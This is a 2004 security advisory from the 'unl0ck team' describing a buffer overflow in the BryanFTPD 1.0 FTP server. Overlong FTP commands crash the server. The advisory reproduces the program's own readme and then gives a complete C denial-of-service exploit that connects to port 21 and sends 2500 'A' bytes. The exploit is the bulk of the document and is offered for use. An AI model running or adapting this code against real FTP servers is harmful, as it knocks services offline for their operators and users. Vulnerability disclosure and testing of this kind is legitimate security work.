[--------------------- BryanFTPD v. 1.0 Buffer Overflow --------------------]

 Advisory: #1 by unl0ck team
 Author: D4rk Eagle (darkeagle@list.ru)

 Overview:
 -------------------------------------------------------------------------
| FTP Server								  |
|									  |
| By: Bryan Cairns							  |
|									  |
| This is an ecapsulation of the ICS - Internet Component Suite.          |
| ICS can be found at : http://users.swing.be/francois.piette/indexuk.htm |
| Please take the time to look at the code and learn something.           |
| If you're a Dephi Pro, you can probably give me some tips as I am still |
| new to Delphi programming.            				  |
|           								  |
| Bryan Cairns                                                            |
| cairnsb@ameritech.net                                                   |
 ------------------------------------------------------------------------- 
 
 This daemon haven't site. This server wrote in Delphi bash. Many people may
 be say that delphi protected vs. buffer overflow, but bug in ICS component.

 Bug version:

 BryanFTPD v. 1.0.

 Vulnerability:
 
 If you send so long ftp command, server will going down.

 
 DoS exploit:

 /*
 *********************************************************
 *                DOS EXPLOIT FOR BryanFTPD v.1.0        *
 *                      written by D4rk Eagle            *
 *                                                       *
 *********************************************************
 */
 int main(int argc, char *argv[])
 {

 WSADATA wsa;
 SOCKET sock;
 struct sockaddr_in addr;
 char data[2500];
 int i; // counter ;)
 //-------- BEGIN ;)

 WSAStartup(MAKEWORD(2,0), &wsa);

 addr.sin_family = AF_INET;
 addr.sin_port = htons(21); // Default is 21 Port (You may Change)
 addr.sin_addr.s_addr = inet_addr("127.0.0.1");

 sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

 connect(sock, (struct sockaddr *)&addr, sizeof(addr));

 for (i = 0; i < 2500; i++)
      data[i] = 'A';

 send(sock, data, sizeof(data),0);
 closesocket(sock);

 }
[--------------------------------------------------------------------------]
25/06/04.
(c) unl0ck team [http://unl0ck.host.kz]